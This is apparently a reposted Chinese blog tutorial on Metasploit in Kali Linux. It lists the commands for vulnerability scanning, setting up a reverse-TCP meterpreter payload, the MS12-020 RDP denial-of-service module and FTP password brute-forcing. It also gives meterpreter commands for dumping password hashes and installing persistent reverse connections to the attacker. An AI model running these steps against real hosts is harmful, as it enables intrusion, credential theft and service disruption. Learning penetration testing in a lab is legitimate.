标签：metasploit set auxiliary 主机 目标 漏洞 模块
概念：Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。团队合作，在Metasploit和综合报告提出了他们的发现。
我们这次用的是kali系统自带的metasploit
我们可以通过命令msfconsole来打开metasploit
在终端下输入？可以查看基础的指令
其中：core commands 核心指令
module commands 模块指令
database backend commands 数据库后端命令
此外：终端下的常用命令 search 搜索含有关键字的模块
use 选择使用的一个模块
set 使用模块后，设置模块所需要的参数的值（对应使用unset取消设置的值）
exploit/run 运行攻击模块
其中，我们需要用到的是exploits模块（渗透攻击/漏洞利用模块）
首先，我们使用kali系统里自带的nmap来查询目标主机
nmap --script=vuln 192.168.xxx.xxx/24
之后我们启动metasploit
msfdb init&& msfconsole
之后我们查询漏洞
search 漏洞名称
之后我们使用命令利用漏洞
use exploit/windows/smb/漏洞名称
因为这里我没有这个漏洞，所以没有扫出来，可以自己编辑漏洞进行实验
之后可以使用show options查看模块需要设置那些参数
set LHOST 目标本地主机（攻击）ip地址
set RHOST 远程主机（目标机）ip地址
set RPORT 目标端口
set payload windows/meterpreter/reverse_tcp 设置payload
之后我们可以查看目标：show targets
设置目标操作系统类型：set target xx
之后我们使用exploit进行溢出攻击
auxiliary辅助模块
主要负责扫描，指纹识别等相关功能以辅助渗透测试
（exploits模块需要与payloads模块进行联合使用，通过exploits进行渗透成功后执行payloads模块中代码，而auxilary不需要与payloads联合使用）
路径：/usr/share/metasploit-framework/modules/auxiliary
之后我们通过命令扫描确定主机漏洞
use auxiliary/scanner/ftp/ftp_login
之后通过具体漏洞进行分析查看
例如：use auxiliary/scanner/rdp/ms12_20_check 使用漏洞进行检测，确认是否存在此漏洞
show options 查看模块需要设置哪些参数
set RHOST 目标主机地址
之后进行run执行
然后我们使用以下指令进行利用
use auxiliary/dos/windows/rpd/ms12_020_maxchannelids 使用漏洞
show opentions 查看参数
set RHOST 目标主机ip
之后执行，目标主机会中招
网络主机存货扫描
地址：auxiliary/scanner/discovery/arp_sweep
web目录扫描
auxiliary/scanner/http/dir_scanner
ftp登录密码爆破：auxiliary/scanner/ftp/ftp_login
meterpreter
渗透攻击模块的实施通道
常用命令：pwd，sysinfo，getuid
screenshot 对目标主机进行截屏
hashdump 获取用户名与hash口令
shell 获取目标系统的shell控制台
meterpreter脚本使用
路径：/usr/share/Metaspolit-framework/scripts/meterpreter/
使用方法run 脚本名称
arp_scanner 检测局域网中的存货主机
scraper 列举目标系统信息，包括用户名和密码，下载全部注册表，挖掘密码hash值，输出HKEY_CURRENT_USER(HKCU)
persistence 允许目标机注入meterpreter代理，确保系统重启之后meterpreter能运行
使用实例：run persistence -x -i -p 443 -r 目标主机ip
（-x 目标机开机自启动meterpreter
-i 50 目标机每搁50s自动连接攻击机
-p 443表示目标机将连接攻击机的443端口
-r 自动连接目标ip
标签：metasploit,set,auxiliary,主机,目标,漏洞,模块 来源： https://blog.csdn.net/omh164052427/article/details/122480551
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。